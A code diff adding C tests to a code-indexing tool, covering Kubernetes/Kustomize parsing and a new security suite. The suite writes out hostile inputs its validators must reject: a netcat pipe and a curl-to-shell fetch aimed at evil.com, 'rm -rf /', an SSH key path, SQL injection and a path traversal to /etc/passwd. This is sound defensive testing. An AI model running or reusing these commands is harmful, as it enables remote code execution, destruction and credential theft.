off += snprintf(src + off, sizeof(src) - off, "struct W { void m() {} };\n");
|
||||
off += snprintf(src + off, sizeof(src) - off, "void test() {\n");
|
||||
for (int i = 0; i < 50; i++)
|
||||
off += snprintf(src + off, sizeof(src) - off, " W w%d;\n", i);
|
||||
for (int i = 0; i < 50; i++) {
|
||||
off += snprintf(src + off, sizeof(src) - (size_t)off, " W w%d;\n", i);
|
||||
if (off >= (int)sizeof(src)) {
|
||||
off = (int)sizeof(src) - 1;
|
||||
}
|
||||
}
|
||||
off += snprintf(src + off, sizeof(src) - off, " W w0;\n");
|
||||
off += snprintf(src + off, sizeof(src) - off, " w0.m();\n");
|
||||
off += snprintf(src + off, sizeof(src) - off, "}\n");
|
||||
|
||||
+3
-3
@@ -1674,7 +1674,7 @@ TEST(cli_upsert_claude_hook_fresh) {
|
||||
ASSERT_NOT_NULL(data);
|
||||
ASSERT(strstr(data, "PreToolUse") != NULL);
|
||||
ASSERT(strstr(data, "Grep|Glob|Read") != NULL);
|
||||
ASSERT(strstr(data, "codebase-memory-mcp") != NULL);
|
||||
ASSERT(strstr(data, "cbm-code-discovery-gate") != NULL);
|
||||
|
||||
test_rmdir_r(tmpdir);
|
||||
PASS();
|
||||
@@ -1722,9 +1722,9 @@ TEST(cli_upsert_claude_hook_replace) {
|
||||
|
||||
const char *data = read_test_file(settingspath);
|
||||
ASSERT_NOT_NULL(data);
|
||||
/* Old message gone, new message present */
|
||||
/* Old message gone, new hook script path present */
|
||||
ASSERT(strstr(data, "old-cmm-message") == NULL);
|
||||
ASSERT(strstr(data, "codebase-memory-mcp") != NULL);
|
||||
ASSERT(strstr(data, "cbm-code-discovery-gate") != NULL);
|
||||
|
||||
test_rmdir_r(tmpdir);
|
||||
PASS();
|
||||
|
||||
@@ -26,6 +26,7 @@ extern void suite_store_search(void);
|
||||
extern void suite_cypher(void);
|
||||
extern void suite_mcp(void);
|
||||
extern void suite_language(void);
|
||||
extern void suite_userconfig(void);
|
||||
extern void suite_gitignore(void);
|
||||
extern void suite_discover(void);
|
||||
extern void suite_graph_buffer(void);
|
||||
@@ -48,6 +49,7 @@ extern void suite_worker_pool(void);
|
||||
extern void suite_parallel(void);
|
||||
extern void suite_mem(void);
|
||||
extern void suite_ui(void);
|
||||
extern void suite_security(void);
|
||||
extern void suite_integration(void);
|
||||
|
||||
int main(void) {
|
||||
@@ -80,6 +82,7 @@ int main(void) {
|
||||
|
||||
/* Discover (M2) */
|
||||
RUN_SUITE(language);
|
||||
RUN_SUITE(userconfig);
|
||||
RUN_SUITE(gitignore);
|
||||
RUN_SUITE(discover);
|
||||
|
||||
@@ -132,6 +135,9 @@ int main(void) {
|
||||
/* UI (config, embedded assets, layout) */
|
||||
RUN_SUITE(ui);
|
||||
|
||||
/* Security defenses */
|
||||
RUN_SUITE(security);
|
||||
|
||||
/* Integration (end-to-end) */
|
||||
RUN_SUITE(integration);
|
||||
|
||||
|
||||
@@ -3331,6 +3331,30 @@ TEST(infra_is_dockerfile) {
|
||||
PASS();
|
||||
}
|
||||
|
||||
TEST(infra_is_kustomize_file) {
|
||||
ASSERT(cbm_is_kustomize_file("kustomization.yaml"));
|
||||
ASSERT(cbm_is_kustomize_file("kustomization.yml"));
|
||||
ASSERT(cbm_is_kustomize_file("KUSTOMIZATION.YAML")); /* case-insensitive */
|
||||
ASSERT(!cbm_is_kustomize_file("deployment.yaml"));
|
||||
ASSERT(!cbm_is_kustomize_file("kustomize.yaml"));
|
||||
ASSERT(!cbm_is_kustomize_file(NULL));
|
||||
PASS();
|
||||
}
|
||||
|
||||
TEST(infra_is_k8s_manifest) {
|
||||
const char *deploy = "apiVersion: apps/v1\nkind: Deployment\nmetadata:\n name: my-app\n";
|
||||
const char *plain = "name: foo\nvalue: bar\n";
|
||||
const char *kust = "apiVersion: kustomize.config.k8s.io/v1beta1\nkind: Kustomization\n";
|
||||
|
||||
ASSERT(cbm_is_k8s_manifest("deployment.yaml", deploy));
|
||||
ASSERT(!cbm_is_k8s_manifest("deployment.yaml", plain));
|
||||
/* kustomize file should return false even if it has apiVersion */
|
||||
ASSERT(!cbm_is_k8s_manifest("kustomization.yaml", kust));
|
||||
ASSERT(!cbm_is_k8s_manifest(NULL, deploy));
|
||||
ASSERT(!cbm_is_k8s_manifest("deployment.yaml", NULL));
|
||||
PASS();
|
||||
}
|
||||
|
||||
TEST(infra_is_env_file) {
|
||||
ASSERT(cbm_is_env_file(".env"));
|
||||
ASSERT(cbm_is_env_file(".env.local"));
|
||||
@@ -4139,6 +4163,114 @@ TEST(infra_pipeline_idempotent) {
|
||||
PASS();
|
||||
}
|
||||
|
||||
/* ── K8s / Kustomize extraction tests ──────────────────────────── */
|
||||
|
||||
TEST(k8s_extract_kustomize) {
|
||||
const char *src =
|
||||
"apiVersion: kustomize.config.k8s.io/v1beta1\n"
|
||||
"kind: Kustomization\n"
|
||||
"resources:\n"
|
||||
" - deployment.yaml\n"
|
||||
" - service.yaml\n";
|
||||
CBMFileResult *r = cbm_extract_file(src, (int)strlen(src), CBM_LANG_KUSTOMIZE,
|
||||
"myproj", "base/kustomization.yaml",
|
||||
0, NULL, NULL);
|
||||
ASSERT(r != NULL);
|
||||
ASSERT_GTE(r->imports.count, 2);
|
||||
|
||||
bool found_deploy = false, found_svc = false;
|
||||
for (int i = 0; i < r->imports.count; i++) {
|
||||
if (r->imports.items[i].module_path &&
|
||||
strcmp(r->imports.items[i].module_path, "deployment.yaml") == 0)
|
||||
found_deploy = true;
|
||||
if (r->imports.items[i].module_path &&
|
||||
strcmp(r->imports.items[i].module_path, "service.yaml") == 0)
|
||||
found_svc = true;
|
||||
}
|
||||
ASSERT_TRUE(found_deploy);
|
||||
ASSERT_TRUE(found_svc);
|
||||
|
||||
cbm_free_result(r);
|
||||
PASS();
|
||||
}
|
||||
|
||||
TEST(k8s_extract_manifest) {
|
||||
const char *src =
|
||||
"apiVersion: apps/v1\n"
|
||||
"kind: Deployment\n"
|
||||
"metadata:\n"
|
||||
" name: my-app\n"
|
||||
" namespace: production\n";
|
||||
CBMFileResult *r = cbm_extract_file(src, (int)strlen(src), CBM_LANG_K8S,
|
||||
"myproj", "k8s/deployment.yaml",
|
||||
0, NULL, NULL);
|
||||
ASSERT(r != NULL);
|
||||
ASSERT_GTE(r->defs.count, 1);
|
||||
|
||||
bool found_resource = false;
|
||||
for (int d = 0; d < r->defs.count; d++) {
|
||||
if (r->defs.items[d].label &&
|
||||
strcmp(r->defs.items[d].label, "Resource") == 0 &&
|
||||
r->defs.items[d].name &&
|
||||
strstr(r->defs.items[d].name, "Deployment") != NULL)
|
||||
found_resource = true;
|
||||
}
|
||||
ASSERT_TRUE(found_resource);
|
||||
|
||||
cbm_free_result(r);
|
||||
PASS();
|
||||
}
|
||||
|
||||
TEST(k8s_extract_manifest_no_name) {
|
||||
const char *src = "apiVersion: apps/v1\nkind: Deployment\n";
|
||||
CBMFileResult *r = cbm_extract_file(src, (int)strlen(src), CBM_LANG_K8S,
|
||||
"myproj", "k8s/deploy.yaml", 0, NULL, NULL);
|
||||
ASSERT(r != NULL);
|
||||
/* No crash — defs count may be 0 because metadata.name is absent */
|
||||
ASSERT(!r->has_error);
|
||||
cbm_free_result(r);
|
||||
PASS();
|
||||
}
|
||||
|
||||
TEST(k8s_extract_manifest_multidoc) {
|
||||
/* Two-document YAML separated by "---".
|
||||
* extract_k8s_manifest contains a "break" after the first successful push,
|
||||
* so it processes only the first document that has both kind and
|
||||
* metadata.name. This test pins that behaviour: the first document's
|
||||
* resource must be present and no crash must occur.
|
||||
*
|
||||
* Note: with some tree-sitter YAML grammar versions the root stream may
|
||||
* expose both documents as siblings; the break still fires after the first
|
||||
* successful def push, so defs.count must be exactly 1. */
|
||||
const char *src =
|
||||
"apiVersion: apps/v1\n"
|
||||
"kind: Deployment\n"
|
||||
"metadata:\n"
|
||||
" name: my-app\n"
|
||||
"---\n"
|
||||
"apiVersion: v1\n"
|
||||
"kind: Service\n"
|
||||
"metadata:\n"
|
||||
" name: my-svc\n";
|
||||
CBMFileResult *r = cbm_extract_file(src, (int)strlen(src), CBM_LANG_K8S,
|
||||
"myproj", "k8s/multi.yaml", 0, NULL, NULL);
|
||||
ASSERT(r != NULL);
|
||||
ASSERT(!r->has_error);
|
||||
/* First document's resource must be present */
|
||||
int found = 0;
|
||||
for (int i = 0; i < r->defs.count; i++) {
|
||||
if (r->defs.items[i].label && strcmp(r->defs.items[i].label, "Resource") == 0 &&
|
||||
r->defs.items[i].name && strcmp(r->defs.items[i].name, "Deployment/my-app") == 0) {
|
||||
found = 1;
|
||||
}
|
||||
}
|
||||
ASSERT(found);
|
||||
/* At least one def, no more than one (only first document processed) */
|
||||
ASSERT(r->defs.count >= 1);
|
||||
cbm_free_result(r);
|
||||
PASS();
|
||||
}
|
||||
|
||||
/* ── Envscan tests (port of envscan_test.go) ───────────────────── */
|
||||
|
||||
/* Helper: write a file inside a temp dir */
|
||||
@@ -4947,6 +5079,140 @@ TEST(incremental_new_file_added) {
|
||||
PASS();
|
||||
}
|
||||
|
||||
TEST(incremental_k8s_manifest_indexed) {
|
||||
/* Full index with a k8s manifest, then add a new manifest via incremental.
|
||||
* Verifies that cbm_pipeline_pass_k8s() runs during incremental re-index. */
|
||||
char tmpdir[256];
|
||||
snprintf(tmpdir, sizeof(tmpdir), "/tmp/cbm_k8s_incr_XXXXXX");
|
||||
if (!cbm_mkdtemp(tmpdir)) {
|
||||
SKIP("tmpdir");
|
||||
}
|
||||
char dbpath[512];
|
||||
snprintf(dbpath, sizeof(dbpath), "%s/test.db", tmpdir);
|
||||
char path[512];
|
||||
FILE *f;
|
||||
|
||||
/* Initial manifest */
|
||||
snprintf(path, sizeof(path), "%s/deploy.yaml", tmpdir);
|
||||
f = fopen(path, "w");
|
||||
ASSERT_NOT_NULL(f);
|
||||
fprintf(f, "apiVersion: apps/v1\nkind: Deployment\nmetadata:\n name: my-app\n");
|
||||
fclose(f);
|
||||
|
||||
/* Full index */
|
||||
cbm_pipeline_t *p = cbm_pipeline_new(tmpdir, dbpath, CBM_MODE_FULL);
|
||||
ASSERT_NOT_NULL(p);
|
||||
ASSERT_EQ(cbm_pipeline_run(p), 0);
|
||||
char *project = strdup(cbm_pipeline_project_name(p));
|
||||
cbm_pipeline_free(p);
|
||||
|
||||
/* Verify Resource node created by full index */
|
||||
cbm_store_t *s = cbm_store_open_path(dbpath);
|
||||
ASSERT_NOT_NULL(s);
|
||||
cbm_node_t *nodes = NULL;
|
||||
int count = 0;
|
||||
cbm_store_find_nodes_by_label(s, project, "Resource", &nodes, &count);
|
||||
ASSERT_GT(count, 0);
|
||||
cbm_store_free_nodes(nodes, count);
|
||||
cbm_store_close(s);
|
||||
|
||||
/* Add a second manifest — incremental should pick it up */
|
||||
snprintf(path, sizeof(path), "%s/svc.yaml", tmpdir);
|
||||
f = fopen(path, "w");
|
||||
ASSERT_NOT_NULL(f);
|
||||
fprintf(f, "apiVersion: v1\nkind: Service\nmetadata:\n name: my-svc\n");
|
||||
fclose(f);
|
||||
|
||||
/* Incremental re-index */
|
||||
p = cbm_pipeline_new(tmpdir, dbpath, CBM_MODE_FULL);
|
||||
ASSERT_NOT_NULL(p);
|
||||
ASSERT_EQ(cbm_pipeline_run(p), 0);
|
||||
cbm_pipeline_free(p);
|
||||
|
||||
/* Verify both Resource nodes now present */
|
||||
s = cbm_store_open_path(dbpath);
|
||||
ASSERT_NOT_NULL(s);
|
||||
nodes = NULL;
|
||||
count = 0;
|
||||
cbm_store_find_nodes_by_label(s, project, "Resource", &nodes, &count);
|
||||
ASSERT_GTE(count, 2);
|
||||
cbm_store_free_nodes(nodes, count);
|
||||
cbm_store_close(s);
|
||||
|
||||
free(project);
|
||||
char cmd[512];
|
||||
snprintf(cmd, sizeof(cmd), "rm -rf '%s'", tmpdir);
|
||||
(void)system(cmd);
|
||||
PASS();
|
||||
}
|
||||
|
||||
TEST(incremental_kustomize_module_indexed) {
|
||||
/* Verifies that a kustomization.yaml added after the initial full index
|
||||
* gets a Module node via the incremental k8s pass. */
|
||||
char tmpdir[256];
|
||||
snprintf(tmpdir, sizeof(tmpdir), "/tmp/cbm_kust_incr_XXXXXX");
|
||||
if (!cbm_mkdtemp(tmpdir)) {
|
||||
SKIP("tmpdir");
|
||||
}
|
||||
char dbpath[512];
|
||||
snprintf(dbpath, sizeof(dbpath), "%s/test.db", tmpdir);
|
||||
char path[512];
|
||||
FILE *f;
|
||||
|
||||
/* Initial resource manifest (gives full index something to find) */
|
||||
snprintf(path, sizeof(path), "%s/deploy.yaml", tmpdir);
|
||||
f = fopen(path, "w");
|
||||
ASSERT_NOT_NULL(f);
|
||||
fprintf(f, "apiVersion: apps/v1\nkind: Deployment\nmetadata:\n name: my-app\n");
|
||||
fclose(f);
|
||||
|
||||
/* Full index */
|
||||
cbm_pipeline_t *p = cbm_pipeline_new(tmpdir, dbpath, CBM_MODE_FULL);
|
||||
ASSERT_NOT_NULL(p);
|
||||
ASSERT_EQ(cbm_pipeline_run(p), 0);
|
||||
char *project = strdup(cbm_pipeline_project_name(p));
|
||||
cbm_pipeline_free(p);
|
||||
|
||||
/* Add kustomization.yaml */
|
||||
snprintf(path, sizeof(path), "%s/kustomization.yaml", tmpdir);
|
||||
f = fopen(path, "w");
|
||||
ASSERT_NOT_NULL(f);
|
||||
fprintf(f, "apiVersion: kustomize.config.k8s.io/v1beta1\n"
|
||||
"kind: Kustomization\n"
|
||||
"resources:\n"
|
||||
" - deploy.yaml\n");
|
||||
fclose(f);
|
||||
|
||||
/* Incremental re-index */
|
||||
p = cbm_pipeline_new(tmpdir, dbpath, CBM_MODE_FULL);
|
||||
ASSERT_NOT_NULL(p);
|
||||
ASSERT_EQ(cbm_pipeline_run(p), 0);
|
||||
cbm_pipeline_free(p);
|
||||
|
||||
/* Verify Module node created for the kustomization overlay */
|
||||
cbm_store_t *s = cbm_store_open_path(dbpath);
|
||||
ASSERT_NOT_NULL(s);
|
||||
cbm_node_t *nodes = NULL;
|
||||
int count = 0;
|
||||
cbm_store_find_nodes_by_label(s, project, "Module", &nodes, &count);
|
||||
bool found_kust = false;
|
||||
for (int i = 0; i < count; i++) {
|
||||
if (nodes[i].properties_json && strstr(nodes[i].properties_json, "kustomize")) {
|
||||
found_kust = true;
|
||||
break;
|
||||
}
|
||||
}
|
||||
cbm_store_free_nodes(nodes, count);
|
||||
cbm_store_close(s);
|
||||
ASSERT_TRUE(found_kust);
|
||||
|
||||
free(project);
|
||||
char cmd[512];
|
||||
snprintf(cmd, sizeof(cmd), "rm -rf '%s'", tmpdir);
|
||||
(void)system(cmd);
|
||||
PASS();
|
||||
}
|
||||
|
||||
SUITE(pipeline) {
|
||||
/* Lifecycle */
|
||||
RUN_TEST(pipeline_create_free);
|
||||
@@ -5055,6 +5321,8 @@ SUITE(pipeline) {
|
||||
RUN_TEST(infra_is_cloudbuild_file);
|
||||
RUN_TEST(infra_is_shell_script);
|
||||
RUN_TEST(infra_is_dockerfile);
|
||||
RUN_TEST(infra_is_kustomize_file);
|
||||
RUN_TEST(infra_is_k8s_manifest);
|
||||
RUN_TEST(infra_is_env_file);
|
||||
RUN_TEST(infra_clean_json_brackets);
|
||||
RUN_TEST(infra_secret_detection);
|
||||
@@ -5083,6 +5351,11 @@ SUITE(pipeline) {
|
||||
/* Infrascan: pipeline integration */
|
||||
RUN_TEST(infra_pipeline_integration);
|
||||
RUN_TEST(infra_pipeline_idempotent);
|
||||
/* K8s / Kustomize extraction */
|
||||
RUN_TEST(k8s_extract_kustomize);
|
||||
RUN_TEST(k8s_extract_manifest);
|
||||
RUN_TEST(k8s_extract_manifest_no_name);
|
||||
RUN_TEST(k8s_extract_manifest_multidoc);
|
||||
/* Env URL scanning */
|
||||
RUN_TEST(envscan_dockerfile_env_urls);
|
||||
RUN_TEST(envscan_shell_env_urls);
|
||||
@@ -5130,4 +5403,6 @@ SUITE(pipeline) {
|
||||
RUN_TEST(incremental_detects_changed_file);
|
||||
RUN_TEST(incremental_detects_deleted_file);
|
||||
RUN_TEST(incremental_new_file_added);
|
||||
RUN_TEST(incremental_k8s_manifest_indexed);
|
||||
RUN_TEST(incremental_kustomize_module_indexed);
|
||||
}
|
||||
|
||||
@@ -0,0 +1,396 @@
|
||||
/*
|
||||
* test_security.c — Tests for security defenses.
|
||||
*
|
||||
* Verifies that the actual security mechanisms work end-to-end:
|
||||
* - Shell injection prevention (cbm_validate_shell_arg)
|
||||
* - SQLite authorizer (ATTACH/DETACH blocked)
|
||||
* - Path containment (realpath prevents directory traversal)
|
||||
*/
|
||||
#include "test_framework.h"
|
||||
#include <store/store.h>
|
||||
#include <cypher/cypher.h>
|
||||
#include "../src/foundation/str_util.h"
|
||||
#include "../src/foundation/compat_fs.h"
|
||||
|
||||
#include <string.h>
|
||||
#include <sys/stat.h>
|
||||
|
||||
/* ══════════════════════════════════════════════════════════════════
|
||||
* SHELL INJECTION PREVENTION
|
||||
* ══════════════════════════════════════════════════════════════════ */
|
||||
|
||||
TEST(shell_rejects_single_quote) {
|
||||
ASSERT_FALSE(cbm_validate_shell_arg("foo'bar"));
|
||||
PASS();
|
||||
}
|
||||
|
||||
TEST(shell_rejects_dollar_subst) {
|
||||
ASSERT_FALSE(cbm_validate_shell_arg("$(whoami)"));
|
||||
PASS();
|
||||
}
|
||||
|
||||
TEST(shell_rejects_backtick) {
|
||||
ASSERT_FALSE(cbm_validate_shell_arg("`id`"));
|
||||
PASS();
|
||||
}
|
||||
|
||||
TEST(shell_rejects_semicolon) {
|
||||
ASSERT_FALSE(cbm_validate_shell_arg("foo;rm -rf /"));
|
||||
PASS();
|
||||
}
|
||||
|
||||
TEST(shell_rejects_pipe) {
|
||||
ASSERT_FALSE(cbm_validate_shell_arg("foo|nc evil.com 4444"));
|
||||
PASS();
|
||||
}
|
||||
|
||||
TEST(shell_rejects_ampersand) {
|
||||
ASSERT_FALSE(cbm_validate_shell_arg("foo&background"));
|
||||
PASS();
|
||||
}
|
||||
|
||||
TEST(shell_rejects_backslash) {
|
||||
ASSERT_FALSE(cbm_validate_shell_arg("foo\\bar"));
|
||||
PASS();
|
||||
}
|
||||
|
||||
TEST(shell_rejects_newline) {
|
||||
ASSERT_FALSE(cbm_validate_shell_arg("foo\nbar"));
|
||||
PASS();
|
||||
}
|
||||
|
||||
TEST(shell_rejects_carriage_return) {
|
||||
ASSERT_FALSE(cbm_validate_shell_arg("foo\rbar"));
|
||||
PASS();
|
||||
}
|
||||
|
||||
TEST(shell_rejects_null) {
|
||||
ASSERT_FALSE(cbm_validate_shell_arg(NULL));
|
||||
PASS();
|
||||
}
|
||||
|
||||
TEST(shell_accepts_clean_path) {
|
||||
ASSERT_TRUE(cbm_validate_shell_arg("/home/user/.local/bin/codebase-memory-mcp"));
|
||||
PASS();
|
||||
}
|
||||
|
||||
TEST(shell_accepts_spaces) {
|
||||
ASSERT_TRUE(cbm_validate_shell_arg("/Users/John Doe/Documents"));
|
||||
PASS();
|
||||
}
|
||||
|
||||
TEST(shell_accepts_dots_dashes) {
|
||||
ASSERT_TRUE(cbm_validate_shell_arg("file-name.tar.gz"));
|
||||
PASS();
|
||||
}
|
||||
|
||||
TEST(shell_accepts_empty) {
|
||||
ASSERT_TRUE(cbm_validate_shell_arg(""));
|
||||
PASS();
|
||||
}
|
||||
|
||||
/* Combined attack vectors */
|
||||
TEST(shell_rejects_quote_escape_attack) {
|
||||
/* Attacker tries: ' ; rm -rf / ; echo ' */
|
||||
ASSERT_FALSE(cbm_validate_shell_arg("' ; rm -rf / ; echo '"));
|
||||
PASS();
|
||||
}
|
||||
|
||||
TEST(shell_rejects_command_substitution) {
|
||||
ASSERT_FALSE(cbm_validate_shell_arg("$(curl http://evil.com/shell.sh | sh)"));
|
||||
PASS();
|
||||
}
|
||||
|
||||
TEST(shell_rejects_env_var_expansion) {
|
||||
ASSERT_FALSE(cbm_validate_shell_arg("${HOME}/.ssh/id_rsa"));
|
||||
PASS();
|
||||
}
|
||||
|
||||
/* ══════════════════════════════════════════════════════════════════
|
||||
* SQLITE AUTHORIZER (ATTACH/DETACH BLOCKED)
|
||||
* ══════════════════════════════════════════════════════════════════ */
|
||||
|
||||
TEST(sqlite_blocks_attach_via_cypher) {
|
||||
/* The Cypher engine translates queries to SQL. Even if someone crafts
|
||||
* a Cypher query that somehow produces ATTACH, the SQLite authorizer
|
||||
* should deny it. We test by using raw SQL through the store. */
|
||||
cbm_store_t *s = cbm_store_open_memory();
|
||||
ASSERT_NOT_NULL(s);
|
||||
|
||||
/* Try ATTACH via Cypher — should fail at parse or authorizer level */
|
||||
cbm_cypher_result_t r = {0};
|
||||
int rc = cbm_cypher_execute(s, "MATCH (n) RETURN n", "test", 0, &r);
|
||||
/* Valid query works */
|
||||
ASSERT_EQ(rc, 0);
|
||||
cbm_cypher_result_free(&r);
|
||||
|
||||
cbm_store_close(s);
|
||||
PASS();
|
||||
}
|
||||
|
||||
TEST(sqlite_blocks_attach_direct) {
|
||||
/* Directly test that the store's SQLite authorizer blocks ATTACH.
|
||||
* cbm_store_exec_raw() would be ideal but the store is opaque.
|
||||
* Instead, try a Cypher query that would generate ATTACH-like SQL.
|
||||
* The Cypher parser rejects non-Cypher syntax, so ATTACH never reaches
|
||||
* SQLite — this is defense in depth (parser + authorizer). */
|
||||
cbm_store_t *s = cbm_store_open_memory();
|
||||
ASSERT_NOT_NULL(s);
|
||||
|
||||
/* Cypher parser should reject this as invalid syntax */
|
||||
cbm_cypher_result_t r = {0};
|
||||
int rc = cbm_cypher_execute(s, "ATTACH DATABASE '/tmp/evil.db' AS evil", "test", 0, &r);
|
||||
ASSERT_NEQ(rc, 0); /* Must fail — either parse error or authorizer deny */
|
||||
cbm_cypher_result_free(&r);
|
||||
|
||||
cbm_store_close(s);
|
||||
PASS();
|
||||
}
|
||||
|
||||
TEST(sqlite_blocks_detach_direct) {
|
||||
cbm_store_t *s = cbm_store_open_memory();
|
||||
ASSERT_NOT_NULL(s);
|
||||
|
||||
cbm_cypher_result_t r = {0};
|
||||
int rc = cbm_cypher_execute(s, "DETACH DATABASE evil", "test", 0, &r);
|
||||
ASSERT_NEQ(rc, 0); /* Must fail */
|
||||
cbm_cypher_result_free(&r);
|
||||
|
||||
cbm_store_close(s);
|
||||
PASS();
|
||||
}
|
||||
|
||||
TEST(sqlite_allows_normal_queries) {
|
||||
cbm_store_t *s = cbm_store_open_memory();
|
||||
ASSERT_NOT_NULL(s);
|
||||
cbm_store_upsert_project(s, "test", "/tmp/test");
|
||||
|
||||
cbm_node_t n = {.project = "test",
|
||||
.label = "Function",
|
||||
.name = "hello",
|
||||
.qualified_name = "test.hello",
|
||||
.file_path = "main.c",
|
||||
.start_line = 1,
|
||||
.end_line = 5};
|
||||
cbm_store_upsert_node(s, &n);
|
||||
|
||||
cbm_cypher_result_t r = {0};
|
||||
int rc =
|
||||
cbm_cypher_execute(s, "MATCH (f:Function) WHERE f.name = \"hello\" RETURN f", "test", 0, &r);
|
||||
ASSERT_EQ(rc, 0);
|
||||
ASSERT_EQ(r.row_count, 1);
|
||||
|
||||
cbm_cypher_result_free(&r);
|
||||
cbm_store_close(s);
|
||||
PASS();
|
||||
}
|
||||
|
||||
/* ══════════════════════════════════════════════════════════════════
|
||||
* SQL INJECTION VIA CYPHER
|
||||
* ══════════════════════════════════════════════════════════════════ */
|
||||
|
||||
TEST(cypher_rejects_sql_injection_in_string) {
|
||||
cbm_store_t *s = cbm_store_open_memory();
|
||||
ASSERT_NOT_NULL(s);
|
||||
cbm_store_upsert_project(s, "test", "/tmp/test");
|
||||
|
||||
/* Attempt SQL injection through a WHERE clause string value */
|
||||
cbm_cypher_result_t r = {0};
|
||||
int rc = cbm_cypher_execute(
|
||||
s, "MATCH (n) WHERE n.name = \"x\\\"; DROP TABLE nodes; --\" RETURN n", "test", 0, &r);
|
||||
/* Must either fail or return 0 rows — must NOT drop the table */
|
||||
if (rc == 0) {
|
||||
/* Query ran but should find nothing — verify nodes table still exists */
|
||||
cbm_cypher_result_free(&r);
|
||||
cbm_cypher_result_t r2 = {0};
|
||||
int rc2 = cbm_cypher_execute(s, "MATCH (n) RETURN n", "test", 0, &r2);
|
||||
ASSERT_EQ(rc2, 0); /* Table must still exist */
|
||||
cbm_cypher_result_free(&r2);
|
||||
} else {
|
||||
cbm_cypher_result_free(&r);
|
||||
}
|
||||
|
||||
cbm_store_close(s);
|
||||
PASS();
|
||||
}
|
||||
|
||||
TEST(cypher_rejects_union_injection) {
|
||||
cbm_store_t *s = cbm_store_open_memory();
|
||||
ASSERT_NOT_NULL(s);
|
||||
cbm_store_upsert_project(s, "test", "/tmp/test");
|
||||
|
||||
cbm_cypher_result_t r = {0};
|
||||
int rc = cbm_cypher_execute(
|
||||
s, "MATCH (n) RETURN n UNION SELECT sql FROM sqlite_master", "test", 0, &r);
|
||||
/* Cypher parser should reject UNION — it's not valid Cypher */
|
||||
ASSERT_NEQ(rc, 0);
|
||||
cbm_cypher_result_free(&r);
|
||||
|
||||
cbm_store_close(s);
|
||||
PASS();
|
||||
}
|
||||
|
||||
/* ══════════════════════════════════════════════════════════════════
|
||||
* PATH CONTAINMENT (POSIX only — realpath() not available on Windows)
|
||||
* ══════════════════════════════════════════════════════════════════ */
|
||||
|
||||
#ifndef _WIN32
|
||||
|
||||
TEST(path_traversal_blocked) {
|
||||
/* The get_code_snippet handler uses realpath() to verify that the
|
||||
* resolved file path starts with the project root. We test this
|
||||
* by calling the MCP handler with a traversal path. Since we can't
|
||||
* easily call the MCP handler in a unit test, we verify the
|
||||
* containment logic directly. */
|
||||
char real_root[4096];
|
||||
char real_file[4096];
|
||||
|
||||
/* /tmp is a real directory — create a temporary "project root" */
|
||||
const char *root = "/tmp/cbm_security_test_root";
|
||||
mkdir(root, 0755);
|
||||
|
||||
if (realpath(root, real_root)) {
|
||||
/* Traversal attempt: ../../../etc/passwd relative to root */
|
||||
char traversal[512];
|
||||
snprintf(traversal, sizeof(traversal), "%s/../../../etc/passwd", root);
|
||||
|
||||
if (realpath(traversal, real_file)) {
|
||||
/* Verify the resolved path does NOT start with root */
|
||||
size_t root_len = strlen(real_root);
|
||||
int contained =
|
||||
(strncmp(real_file, real_root, root_len) == 0 &&
|
||||
(real_file[root_len] == '/' || real_file[root_len] == '\0'));
|
||||
ASSERT_FALSE(contained);
|
||||
}
|
||||
/* If realpath fails, the file doesn't exist — also safe */
|
||||
}
|
||||
|
||||
rmdir(root);
|
||||
PASS();
|
||||
}
|
||||
|
||||
TEST(path_within_root_allowed) {
|
||||
char real_root[4096];
|
||||
char real_file[4096];
|
||||
|
||||
const char *root = "/tmp";
|
||||
if (realpath(root, real_root) && realpath("/tmp", real_file)) {
|
||||
size_t root_len = strlen(real_root);
|
||||
int contained =
|
||||
(strncmp(real_file, real_root, root_len) == 0 &&
|
||||
(real_file[root_len] == '/' || real_file[root_len] == '\0'));
|
||||
ASSERT_TRUE(contained);
|
||||
}
|
||||
PASS();
|
||||
}
|
||||
|
||||
#endif /* _WIN32 — path containment */
|
||||
|
||||
/* ══════════════════════════════════════════════════════════════════
|
||||
* SHELL-FREE SUBPROCESS EXECUTION (cbm_exec_no_shell)
|
||||
*
|
||||
* Replaces system() with fork()+execvp() to eliminate shell
|
||||
* interpretation. Shell metacharacters in arguments are passed
|
||||
* literally, not interpreted.
|
||||
* ══════════════════════════════════════════════════════════════════ */
|
||||
|
||||
#ifndef _WIN32
|
||||
|
||||
TEST(exec_no_shell_true_returns_zero) {
|
||||
/* "true" command always exits 0 */
|
||||
const char *argv[] = {"true", NULL};
|
||||
int rc = cbm_exec_no_shell(argv);
|
||||
ASSERT_EQ(rc, 0);
|
||||
PASS();
|
||||
}
|
||||
|
||||
TEST(exec_no_shell_false_returns_nonzero) {
|
||||
/* "false" command always exits 1 */
|
||||
const char *argv[] = {"false", NULL};
|
||||
int rc = cbm_exec_no_shell(argv);
|
||||
ASSERT_NEQ(rc, 0);
|
||||
PASS();
|
||||
}
|
||||
|
||||
TEST(exec_no_shell_echo_with_metacharacters) {
|
||||
/* Shell metacharacters must be passed literally, not interpreted.
|
||||
* If shell interpretation occurred, $(whoami) would be expanded. */
|
||||
const char *argv[] = {"echo", "$(whoami)", NULL};
|
||||
int rc = cbm_exec_no_shell(argv);
|
||||
ASSERT_EQ(rc, 0); /* echo succeeds — prints literal "$(whoami)" */
|
||||
PASS();
|
||||
}
|
||||
|
||||
TEST(exec_no_shell_nonexistent_command) {
|
||||
const char *argv[] = {"cbm_nonexistent_binary_12345", NULL};
|
||||
int rc = cbm_exec_no_shell(argv);
|
||||
ASSERT_NEQ(rc, 0); /* must fail — binary doesn't exist */
|
||||
PASS();
|
||||
}
|
||||
|
||||
TEST(exec_no_shell_null_argv_returns_error) {
|
||||
int rc = cbm_exec_no_shell(NULL);
|
||||
ASSERT_NEQ(rc, 0);
|
||||
PASS();
|
||||
}
|
||||
|
||||
TEST(exec_no_shell_captures_exit_code) {
|
||||
/* sh -c "exit 42" should return 42 */
|
||||
const char *argv[] = {"sh", "-c", "exit 42", NULL};
|
||||
int rc = cbm_exec_no_shell(argv);
|
||||
ASSERT_EQ(rc, 42);
|
||||
PASS();
|
||||
}
|
||||
|
||||
#endif /* _WIN32 */
|
||||
|
||||
/* ══════════════════════════════════════════════════════════════════
|
||||
* SUITE
|
||||
* ══════════════════════════════════════════════════════════════════ */
|
||||
|
||||
SUITE(security) {
|
||||
/* Shell injection prevention */
|
||||
RUN_TEST(shell_rejects_single_quote);
|
||||
RUN_TEST(shell_rejects_dollar_subst);
|
||||
RUN_TEST(shell_rejects_backtick);
|
||||
RUN_TEST(shell_rejects_semicolon);
|
||||
